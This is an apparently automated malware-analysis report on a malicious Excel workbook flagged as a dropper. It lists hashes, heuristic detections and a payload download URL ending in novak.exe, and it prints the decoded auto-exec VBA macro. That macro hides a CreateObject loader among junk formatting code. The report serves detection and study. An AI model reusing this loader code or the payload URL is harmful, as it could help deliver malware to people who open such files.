Office (OOXML) malware analysis — malicious · 57e6d883d78f89ae

MALICIOUS

Office (OOXML)

113.3 KB First seen: 2020-10-31

MD5: 6a58e19e57e3776e1f35da0bc5ea6674 SHA-1: d7067f03828be549dba234c7575b9006c7de32ee SHA-256: 57e6d883d78f89ae33fdaf6254b5a31077c888845cd1180e31fc8d1278ee06b7

290 Risk Score

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 3 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
Set nczcservrbzflrtywtntelgedtecnzmbowvuohml  = CreateObject(Range("A9").Value)
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Set nczcservrbzflrtywtntelgedtecnzmbowvuohml  = CreateObject(Range("A9").Value)

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.poltc.cz/zackova/novak.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1630 bytes
SHA-256: `5a57a611a246dc26d0d2104ab0777fe4f51b2d3f19e34f1b009ab8b3b70ab859`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A1:J22").Select Selection.Borders(xlDiagonalDown).LineStyle = xlNone Selection.Borders(xlDiagonalUp).LineStyle = xlNone With Selection.Borders(xlEdgeLeft) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With mgydfarpshwhgrxjbayjwnjepmvfineccdexxalc = Range("A8").Value With Selection.Borders(xlEdgeTop) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Set nczcservrbzflrtywtntelgedtecnzmbowvuohml = CreateObject(Range("A9").Value) With Selection.Borders(xlEdgeBottom) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With Dim efrboofttbjhttokmduqevdrcerrkolxmolafkaq With Selection.Borders(xlEdgeRight) .LineStyle = xlContinuous .ColorIndex = 0 .TintAndShade = 0 .Weight = xlThin End With efrboofttbjhttokmduqevdrcerrkolxmolafkaq = nczcservrbzflrtywtntelgedtecnzmbowvuohml.Create(mgydfarpshwhgrxjbayjwnjepmvfineccdexxalc) End Sub Attribute VB_Name = "iiawyzuimdxmvhieeweogddpadu" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `bbd67bdcddd7ecbf06f10fb6f4ba45db76760f0992f4f50f9314ed4354141aad`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.